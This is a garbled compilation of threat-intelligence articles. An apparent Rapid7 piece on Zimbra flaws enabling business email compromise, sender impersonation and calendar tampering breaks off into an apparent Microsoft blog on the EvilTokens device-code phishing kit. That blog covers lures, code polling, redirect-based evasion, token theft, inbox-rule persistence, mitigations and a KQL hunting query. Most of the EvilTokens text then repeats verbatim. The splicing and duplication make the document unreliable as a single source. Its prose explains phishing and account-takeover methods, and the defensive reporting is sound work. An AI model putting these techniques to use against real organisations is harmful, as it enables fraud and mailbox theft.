Business Email Compromise (BEC) operates on a familiar playbook. Threat actors breach a mailbox, silently monitor operations, map approval chains, and ultimately exploit that access to divert funds or exfiltrate sensitive assets.
This dynamic is central to our analysis as we kick off a series around Rapid7's collaborative research with Zimbra; upcoming installments will explore technical details and broader findings based within the Zimbra Collaboration Suite. Our investigation disrupted the traditional BEC model in unexpected ways. We uncovered over 50 vulnerabilities, and found that several allow attackers not just to observe environments, but to actively rewrite them by impersonating senders without credentials, controlling inbox visibility, and altering shared documents and calendars.
Business Email Compromise in action: Digital abuse of trust
None of this is theoretical for Zimbra. But don’t take my word for it, just ask Russia. CISA keeps putting Zimbra bugs into the Known Exploited Vulnerabilities catalog, and the last three years make the point on their own:
CVE-2024-45519, command injection in the postjournal service, unauthenticated command execution. Proofpoint saw attackers stuffing base64 payloads into CC fields on September 28, 2024. CISA added it to KEV on October 3.
CVE-2025-27915, stored XSS in the Classic Web Client, triggered by a crafted .ICS attachment. It is used as a zero-day against Brazilian military targets to steal mail and quietly set forwarding filters. It went into KEV in October, 2025.
CVE-2026-73570, unauthenticated command injection through SNMP notification handling. CISA added it on August 21 of this year and gave federal agencies three days. Shadowserver has been counting somewhere north of 260 compromised instances while hunting for exploitation artifacts.
Go back further and the pattern holds. Rapid7 tracked widespread exploitation of CVE-2022-27925 and CVE-2022-37042 in 2022, a path traversal chained with an authentication bypass that let attackers drop a JSP shell on a Zimbra server without credentials. Google's Threat Analysis Group later documented four separate threat groups working the same zero-day known as CVE-2023-37580. Each of these groups went after email, credentials, and authentication tokens. Attackers figured out a long time ago that the system sitting in the middle of everyone's communication is worth the effort. So when you find a set of bugs that let you write to that system instead of only reading from it, data theft stops being the interesting part.
Send an email as your CFO without ever touching their password, and you have the front half of a very convincing BEC. Keep control of the mailbox afterward and you have the back half, too. Here, the attacker has a strategic choice. They can delete the sent message to hide their tracks, effectively wiping the trail of the fraud OR they can choose to leave the message in the Sent Items folder. By doing so, they ensure the CFO sees 'evidence' of the email they supposedly sent, creating a gaslighting scenario where the victim is left questioning their own actions. Whether the attacker cleans up or leaves the trail, they are shaping the organization’s perception of reality. In the ensuing investigation, where Finance sees a sent request and the CFO sees no such activity, the organization is trapped in a conflict of evidence. At that point, BEC looks less like traditional fraud and more like a psychological operation.
Documents make it worse, as Zimbra is not just a mail server. The collaboration side holds the files employees actually use to make decisions. An attacker who can plant a fake HR memo or financial summary in an executive's enterprise drive, and make it look like it came from a peer they trust, is starting from a much better position than someone attaching a PDF to a cold email.
Say a document shows up from HR about a confidential restructuring, and a few days later an email from a trusted executive references it. Neither piece has to carry the whole deception, as each one props up the other.
Calendar warfare and manufactured enterprise reality
Then there is the thing I have started calling ‘calendar warfare.’ Meetings can be modified or deleted without generating the notification trail users expect to see. RSVP status can also be flipped. Maybe a key executive is changed from Accepted to Declined and leadership might reschedule, or move ahead without them, or read the whole thing as a deliberate opt-out.
It works in the other direction too. An "Emergency Board Meeting" lands on an executive's calendar with a believable organizer, a popup reminder, and a malicious Zoom link. When the reminder fires, the victim is not sizing up a suspicious email that arrived thirty seconds ago. They are joining a meeting that has been sitting in their calendar for two days. And the calendar is not some exotic attack surface nobody has thought of. If we look back at CVE-2025-27915, the delivery vehicle was a calendar invite.
Stack all of it together now – a financial document appears, a trusted executive emails about it, then a mandatory meeting shows up to discuss it. And the attacker still has the ability to clean up some of what gets left behind. Every artifact the victim checks lives inside a system they have no reason to question, and all of them tell the same fabricated story.
I keep coming back to the phrase 'manufactured enterprise reality'. I have touched on the idea in The Monday Brief, that attackers get to borrow whatever trust an organization has already extended to its own tooling. Zimbra makes it concrete. The platform supplies the credibility, so the attacker does not have to build any.
Collaboration suites quietly became systems of record. Email is the record of who said what. Calendars are the record of who agreed to be where. Classic BEC abuses the trust between two people. The scenario we’ve discussed here abuses the machinery those people use to decide who to trust in the first place. Once employees are making real business decisions off fabricated context, stealing data is the least of your problems.
Following its emergence in February 2026, EvilTokens quickly became one of the most widely used phishing-as-a-service (PhaaS) platforms, providing cybercriminals with AI capabilities for tailoring phishing lures and analyzing compromised inboxes to identify high-value targets. This AI-powered cybercrime platform facilitated sophisticated business email compromise (BEC) campaigns that compromised more than 12,000 inboxes in over 10,000 organizations worldwide.
EvilTokens enabled threat actors to abuse the device code authentication flow, steal tokens, and compromise organizational accounts at scale using an AI-driven infrastructure and automating multiple parts of the attack chain. The toolkit offered a plethora of prebuilt phishing templates and landing pages with an AI-powered assistant to aid in structuring target-specific emails.
Stolen tokens are used for email exfiltration and persistence, often through the creation of malicious inbox rules that conceal communications. In some cases, tokens can also be used to grant new devices access to a victim’s inbox, a particularly durable method to maintain persistence. Microsoft Threat Intelligence tracks the threat actor behind the development and support of the EvilTokens phish kit as Storm-2992.
Post-compromise, EvilTokens enabled threat actors to utilize AI assistants to sift through victim mailbox activity and engineer a phishing message based on the accessible email content. EvilTokens also allowed threat actors to conduct Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remain valid. While token-targeting phishing is not new, it has become far more common and industrialized over the last several years as organizations adopted multifactor authentication (MFA).
To evade detection, EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Targets are lured through deceptive emails that use 44 different themes, including invoices and request for proposals (RFPs), or shared files. These emails contained malicious URLs, PDF attachments, and HTML files.
This blog provides a comprehensive, up-to-date analysis of the EvilTokens platform and operations. We share specific examples of the EvilTokens service panel and a detailed analysis of EvilTokens infrastructure. Defending against EvilTokens and similar adversary-in-the-middle (AiTM) phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.
What is device code phishing?
One of the primary capabilities of EvilTokens is its device code phishing flow, which abuses device code authentication, a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs, printers, Teams devices, and conferencing devices, that cannot support a standard interactive sign-in. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.
While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to circumvent traditional MFA protections by decoupling authentication from the originating session. Threat actors also use social engineering layouts and other tricks to disguise the legitimate device code flow approval as something else required.
Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials. Microsoft recommends blocking device code flow wherever possible. If your organization uses Teams devices that require device code flow, scope the exception to specific Teams device resource accounts and exclude the Device Registration Service resource from your Conditional Access policy.
In April 2026, Microsoft tracked a phishing campaign aligned with EvilTokens that used automation platforms to spin up thousands of unique, short-lived polling nodes. This approach allowed the threat actors to deploy complex backend logic (Node.js) that bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end, from generating dynamic device codes to post-compromise activities.
The following sections examine how EvilTokens operated, the capabilities available through its customer panel, and infrastructure supporting phishing campaigns. We also trace the EvilTokens attack chain, from lure delivery and device code generation through defense evasion, token theft, and post-compromise activity.
EvilTokens platform and operations
Distribution and affiliate support
The threat actor tracked as Storm-2992 advertised and sold EvilTokens services to cybercriminals on the actor’s Telegram channels. Cybercriminals continue to gravitate towards apps like Telegram that provide anonymity, cross-platform access, file sharing, and channels for broadcasting announcements to large groups of followers. The threat actor uses Telegram to advertise their phish kit, announce updates, coordinate with their subscribers, and provide customer support.
Figure 1. EvilTokens Telegram bot
EvilTokens phish kits are sold at $1,500 USD for initial purchase, with a monthly subscription fee of $500 for continued access to the kit and control panel. The kit provides additional products, including Antibot redirector, B2B Sender, Office 365 Capture Link, and a Simple Mail Transfer Protocol (SMTP) Sender. Each of these products has additional fees for 30 days of access.
Figure 2. EvilTokens Telegram store bot
Customer panel and campaign configuration
The EvilTokens panel provides the core components needed to support phishing campaigns, including pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking.
After signing in, EvilTokens subscribers are presented a dashboard with various options to choose from. First, subscribers are asked to choose a deployment method (Cloudflare Workers/Bunny or PHP Hosting) and then are asked to choose from a list of deploy options, including Capture Mode, Layout & Template, Code Display Style, Page Language, CAPTCHA, AI Mode, and Captured Text. These options allow subscribers to highly customize their deployment methods.
Figure 3. EvilTokens platform welcome page
Subscribers are provided with multiple settings and additional guidance for managing captured tokens. Once tokens have been captured, EvilTokens offers its subscribers full access to the victim email account, as well as admin detection, token auto-refresh, and an auto-scan of inboxes using keyword alerts through Telegram.
Figure 4. EvilTokens platform options for managing captured tokens
The toolkit offers additional products, which are detailed under Essential Tools. Here, subscribers are given product information and are provided with a link to download or get the product as well as a video tutorial. Subscribers are even given the opportunity to receive cryptocurrency as a reward for referring the service to others.
Figure 5. EvilTokens Essential Tools page
The platform offers 44 different themes for customizing email templates and landing pages, including text and colors.
Figure 6. EvilTokens template themes
EvilTokens phishing emails
EvilTokens offers subscribers personalized lures, using AI to create targeted phishing emails aligned to the target’s role, including the use of various themes to increase the likelihood of user interaction. Themes used include document signing services, Microsoft cloud services, third-party services (cloud identity, file hosting, payment/invoicing), and other miscellaneous services like voicemail and eFax.
Additionally, researchers at Huntress noted email content like construction bid proposals, business partnership agreements, employee compensation/benefits, and password expiring notices in EvilTokens emails.
EvilTokens phishing sequence
The attack chain begins when a user interacts with a malicious attachment or URL embedded within a high-pressure lure (for example, “Action Required: Password Expiration”).
Figure 7. Example of an EvilTokens phishing email
When a user clicks the malicious link or attachment, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real time to generate a live device code. This code is then displayed on the user’s screen with a “Copy Code” button along with a “Continue” or “Continue with Microsoft” button that, when clicked, redirects to the official microsoft.com/devicelogin portal.
Figure 8. Example of generated device code
After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a polling state using the checkStatus() function to monitor the 15-minute window in real time. Every three to five seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.
Figure 9. Example of Microsoft device code sign-in portal
To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official sign-in page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session in the backend.
The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actors registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.
EvilTokens adds the capability for threat actors to phish and take actions that they would not be capable of performing without EvilTokens tools assisting them, giving threat actors the ability to mass-phish users and perform other operations at their leisure.
Defense evasion
EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Phishing pages delivered to the user vary in complexity and evasion techniques, adding a customization layer by the operator and which tools they use. Popular techniques include but are not limited to image links (images that link to URLs), multi-stage redirection schemes, and attachments containing multi-stage delivery.
Landing page evasions include fake CAPTCHA checks/verification services that require user interaction before displaying the phishing content. To further evade automated URL scanners and sandboxes, the threat actors will at times not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “serverless” platforms. We observed heavy reliance on abuse of Vercel (.vercel.app), Cloudflare Workers (.workers.dev), and AWS Lambda for hosting the redirect logic. By using these domains, the phishing traffic blends in with legitimate enterprise cloud traffic, evading simple domain-blocklist triggers.
Post-compromise account access
Once authentication tokens are obtained, threat actors can focus on post-compromise activity designed to maintain and expand access and extract data. This access can be used to send further emails internally to the organization and to external contacts, allowing the actor to send phishing emails for seemingly trusted contacts. In one observed incident, the attack progressed to email exfiltration and account persistence through inbox rules created using Microsoft Office. This involved filtering the compromised users and selecting targets:
High-value target identification: Using the EvilTokens AI capability, the threat actor reviewed and filtered for high-value targets—specifically those in financial, executive, or administrative roles—within the pool of compromised users.
Accelerated reconnaissance: After gaining access to Microsoft Graph for reconnaissance, the threat actor programmatically mapped internal organizational structures and identified sensitive permissions the moment a token was secured.
Targeted financial exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets and sensitive information like wire transfer details, pending invoices, and executive correspondence.
Mitigation and protection guidance
To harden networks against the device code phishing activity described above, defenders can implement the following:
Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign in to resources from unfamiliar senders. Learn how to protect yourself from phishing.
Configure anti-phishing policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
Configure Safe Links in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high-confidence device code phishing alerts from Defender.
If suspected device code phishing activity is identified, follow the guidance on responding to a compromised email account. Additionally, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users. (Observations from recent campaigns indicate that standard session revocation often only invalidates refresh tokens, leaving existing access tokens active for up to an hour. Given the hands-on nature of this threat, they frequently exploit this window of opportunity; consequently, we recommend temporarily disabling the compromised account to ensure immediate containment, despite the potential for brief business disruption).
Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
Create alerting of suspicious inbox-rule creation to quickly identify and triage evidence of business email compromise (BEC) and phishing campaigns. This playbook helps defenders investigate any incident related to suspicious inbox manipulation rules configured by threat actors and take recommended actions to remediate the attack and protect networks.
Microsoft recommends the following best practices to further help improve organizational defenses against phishing and other credential theft attacks:
Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multifactor authentication.
For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefit of centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
If there are indications such as alerts that a user’s refresh token is compromised, disable the device and revoke all existing refresh tokens. Disabling the device stops PRTs from working, and revoking the refresh tokens stops any refresh tokens that were issued using the PRT from working. Follow steps from Microsoft’s token theft playbook when responding to alerts related to compromised identities.
Enable network protection and web protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
Microsoft Defender XDR detections
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Using Safe Links and Microsoft Entra ID Protection raises high-confidence device code phishing alerts from Defender.
Tactic
Observed activity
Microsoft Defender coverage
Initial access
Device code authentication
Microsoft Defender for Identity – Anomalous OAuth device code authentication activity
Credential access
Token theft following device code authentication
Microsoft Defender for Identity – Anomalous token exchange following device code authentication
Microsoft Defender XDR – User account compromise via OAuth device code phishing – Suspicious Azure authentication through possible device code phishing
Persistence
Device registration following anomalous device code authentication
Microsoft Defender for Identity – Suspicious Entra device join or registration
Microsoft Defender XDR – Device registration after potential device code phishing
Discovery
Anomalous volume of Microsoft Graph API requests following device code flow authentication
Microsoft Defender XDR – Anomalous Microsoft Graph API activity after potential device code phishing – Anomalous Microsoft Graph API POST activity after potential device code phishing
Defense evasion
Malicious inbox rule created after anomalous device code authentication
Microsoft Defender XDR – Suspicious inbox rule created after potential device code phishing sign-in
Microsoft Security Copilot
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Threat intelligence reports
Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use either the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.
Hunting queries
Microsoft Defender XDR customers can use the following queries to detect possible phishing attempts. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential EvilTokens-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.
If a query provides high value insights into possible malicious or otherwise anomalous behavior, you can create a custom detection rule based on that query and surface those insights as custom alerts. To do this, run the query in the Advanced hunting page and select Create detection rule.
Suspicious URL clicked
This query correlates Microsoft Defender for Office 365 signals and Microsoft Entra ID identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender XDR. This event reflects relevant clicks on the malicious URL in the spear-phishing email recognized by Microsoft Defender for Office 365.
AlertInfo
| where ServiceSource =~ "Microsoft Defender for Office 365"
| join (
AlertEvidence
| where EntityType =="Url"
| project AlertId, RemoteUrl
)
on AlertId
| join (
AlertEvidence
| where EntityType =="MailMessage"
| project AlertId, NetworkMessageId
)
on AlertId
// Get the unique NetworkMessageId for the email containing the Url
| distinct RemoteUrl, NetworkMessageId
| join EmailEvents on NetworkMessageId
// Get the email RecipientEmailAddress and ObjectId from the email
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId
| join kind = inner IdentityInfo on $left.RecipientObjectId == $right.AccountObjectId
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid
// Get the Url click event on the recipient device.
| join kind = inner
(DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl"| where isnotempty(RemoteUrl)
| project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl,
InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName
)
on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid
| distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId,
OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName
| sort by UrlDeviceClickTime desc
Determine successfully delivered phishing emails to Inbox/Junk folder.
This query identifies threats that were successfully delivered to Inbox/Junk folder.
Microsoft Sentinel customers can use the following queries to detect phishing attempts. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Following its emergence in February 2026, EvilTokens quickly became one of the most widely used phishing-as-a-service (PhaaS) platforms, providing cybercriminals with AI capabilities for tailoring phishing lures and analyzing compromised inboxes to identify high-value targets. This AI-powered cybercrime platform facilitated sophisticated business email compromise (BEC) campaigns that compromised more than 12,000 inboxes in over 10,000 organizations worldwide.
EvilTokens enabled threat actors to abuse the device code authentication flow, steal tokens, and compromise organizational accounts at scale using an AI-driven infrastructure and automating multiple parts of the attack chain. The toolkit offered a plethora of prebuilt phishing templates and landing pages with an AI-powered assistant to aid in structuring target-specific emails.
Stolen tokens are used for email exfiltration and persistence, often through the creation of malicious inbox rules that conceal communications. In some cases, tokens can also be used to grant new devices access to a victim’s inbox, a particularly durable method to maintain persistence. Microsoft Threat Intelligence tracks the threat actor behind the development and support of the EvilTokens phish kit as Storm-2992.
Post-compromise, EvilTokens enabled threat actors to utilize AI assistants to sift through victim mailbox activity and engineer a phishing message based on the accessible email content. EvilTokens also allowed threat actors to conduct Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remain valid. While token-targeting phishing is not new, it has become far more common and industrialized over the last several years as organizations adopted multifactor authentication (MFA).
To evade detection, EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Targets are lured through deceptive emails that use 44 different themes, including invoices and request for proposals (RFPs), or shared files. These emails contained malicious URLs, PDF attachments, and HTML files.
This blog provides a comprehensive, up-to-date analysis of the EvilTokens platform and operations. We share specific examples of the EvilTokens service panel and a detailed analysis of EvilTokens infrastructure. Defending against EvilTokens and similar adversary-in-the-middle (AiTM) phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.
What is device code phishing?
One of the primary capabilities of EvilTokens is its device code phishing flow, which abuses device code authentication, a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs, printers, Teams devices, and conferencing devices, that cannot support a standard interactive sign-in. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.
While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to circumvent traditional MFA protections by decoupling authentication from the originating session. Threat actors also use social engineering layouts and other tricks to disguise the legitimate device code flow approval as something else required.
Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials. Microsoft recommends blocking device code flow wherever possible. If your organization uses Teams devices that require device code flow, scope the exception to specific Teams device resource accounts and exclude the Device Registration Service resource from your Conditional Access policy.
In April 2026, Microsoft tracked a phishing campaign aligned with EvilTokens that used automation platforms to spin up thousands of unique, short-lived polling nodes. This approach allowed the threat actors to deploy complex backend logic (Node.js) that bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end, from generating dynamic device codes to post-compromise activities.
The following sections examine how EvilTokens operated, the capabilities available through its customer panel, and infrastructure supporting phishing campaigns. We also trace the EvilTokens attack chain, from lure delivery and device code generation through defense evasion, token theft, and post-compromise activity.
EvilTokens platform and operations
Distribution and affiliate support
The threat actor tracked as Storm-2992 advertised and sold EvilTokens services to cybercriminals on the actor’s Telegram channels. Cybercriminals continue to gravitate towards apps like Telegram that provide anonymity, cross-platform access, file sharing, and channels for broadcasting announcements to large groups of followers. The threat actor uses Telegram to advertise their phish kit, announce updates, coordinate with their subscribers, and provide customer support.
Figure 1. EvilTokens Telegram bot
EvilTokens phish kits are sold at $1,500 USD for initial purchase, with a monthly subscription fee of $500 for continued access to the kit and control panel. The kit provides additional products, including Antibot redirector, B2B Sender, Office 365 Capture Link, and a Simple Mail Transfer Protocol (SMTP) Sender. Each of these products has additional fees for 30 days of access.
Figure 2. EvilTokens Telegram store bot
Customer panel and campaign configuration
The EvilTokens panel provides the core components needed to support phishing campaigns, including pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking.
After signing in, EvilTokens subscribers are presented a dashboard with various options to choose from. First, subscribers are asked to choose a deployment method (Cloudflare Workers/Bunny or PHP Hosting) and then are asked to choose from a list of deploy options, including Capture Mode, Layout & Template, Code Display Style, Page Language, CAPTCHA, AI Mode, and Captured Text. These options allow subscribers to highly customize their deployment methods.
Figure 3. EvilTokens platform welcome page
Subscribers are provided with multiple settings and additional guidance for managing captured tokens. Once tokens have been captured, EvilTokens offers its subscribers full access to the victim email account, as well as admin detection, token auto-refresh, and an auto-scan of inboxes using keyword alerts through Telegram.
Figure 4. EvilTokens platform options for managing captured tokens
The toolkit offers additional products, which are detailed under Essential Tools. Here, subscribers are given product information and are provided with a link to download or get the product as well as a video tutorial. Subscribers are even given the opportunity to receive cryptocurrency as a reward for referring the service to others.
Figure 5. EvilTokens Essential Tools page
The platform offers 44 different themes for customizing email templates and landing pages, including text and colors.
Figure 6. EvilTokens template themes
EvilTokens phishing emails
EvilTokens offers subscribers personalized lures, using AI to create targeted phishing emails aligned to the target’s role, including the use of various themes to increase the likelihood of user interaction. Themes used include document signing services, Microsoft cloud services, third-party services (cloud identity, file hosting, payment/invoicing), and other miscellaneous services like voicemail and eFax.
Additionally, researchers at Huntress noted email content like construction bid proposals, business partnership agreements, employee compensation/benefits, and password expiring notices in EvilTokens emails.
EvilTokens phishing sequence
The attack chain begins when a user interacts with a malicious attachment or URL embedded within a high-pressure lure (for example, “Action Required: Password Expiration”).
Figure 7. Example of an EvilTokens phishing email
When a user clicks the malicious link or attachment, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real time to generate a live device code. This code is then displayed on the user’s screen with a “Copy Code” button along with a “Continue” or “Continue with Microsoft” button that, when clicked, redirects to the official microsoft.com/devicelogin portal.
Figure 8. Example of generated device code
After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a polling state using the checkStatus() function to monitor the 15-minute window in real time. Every three to five seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.
Figure 9. Example of Microsoft device code sign-in portal
To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official sign-in page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session in the backend.
The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actors registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.
EvilTokens adds the capability for threat actors to phish and take actions that they would not be capable of performing without EvilTokens tools assisting them, giving threat actors the ability to mass-phish users and perform other operations at their leisure.
Defense evasion
EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Phishing pages delivered to the user vary in complexity and evasion techniques, adding a customization layer by the operator and which tools they use. Popular techniques include but are not limited to image links (images that link to URLs), multi-stage redirection schemes, and attachments containing multi-stage delivery.
Landing page evasions include fake CAPTCHA checks/verification services that require user interaction before displaying the phishing content. To further evade automated URL scanners and sandboxes, the threat actors will at times not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “serverless” platforms. We observed heavy reliance on abuse of Vercel (.vercel.app), Cloudflare Workers (.workers.dev), and AWS Lambda for hosting the redirect logic. By using these domains, the phishing traffic blends in with legitimate enterprise cloud traffic, evading simple domain-blocklist triggers.
Post-compromise account access
Once authentication tokens are obtained, threat actors can focus on post-compromise activity designed to maintain and expand access and extract data. This access can be used to send further emails internally to the organization and to external contacts, allowing the actor to send phishing emails for seemingly trusted contacts. In one observed incident, the attack progressed to email exfiltration and account persistence through inbox rules created using Microsoft Office. This involved filtering the compromised users and selecting targets:
High-value target identification: Using the EvilTokens AI capability, the threat actor reviewed and filtered for high-value targets—specifically those in financial, executive, or administrative roles—within the pool of compromised users.
Accelerated reconnaissance: After gaining access to Microsoft Graph for reconnaissance, the threat actor programmatically mapped internal organizational structures and identified sensitive permissions the moment a token was secured.
Targeted financial exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets and sensitive information like wire transfer details, pending invoices, and executive correspondence.
Mitigation and protection guidance
To harden networks against the device code phishing activity described above, defenders can implement the following:
Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign in to resources from unfamiliar senders. Learn how to protect yourself from phishing.
Configure anti-phishing policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
Configure Safe Links in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high-confidence device code phishing alerts from Defender.
If suspected device code phishing activity is identified, follow the guidance on responding to a compromised email account. Additionally, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users. (Observations from recent campaigns indicate that standard session revocation often only invalidates refresh tokens, leaving existing access tokens active for up to an hour. Given the hands-on nature of this threat, they frequently exploit this window of opportunity; consequently, we recommend temporarily disabling the compromised account to ensure immediate containment, despite the potential for brief business disruption).
Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
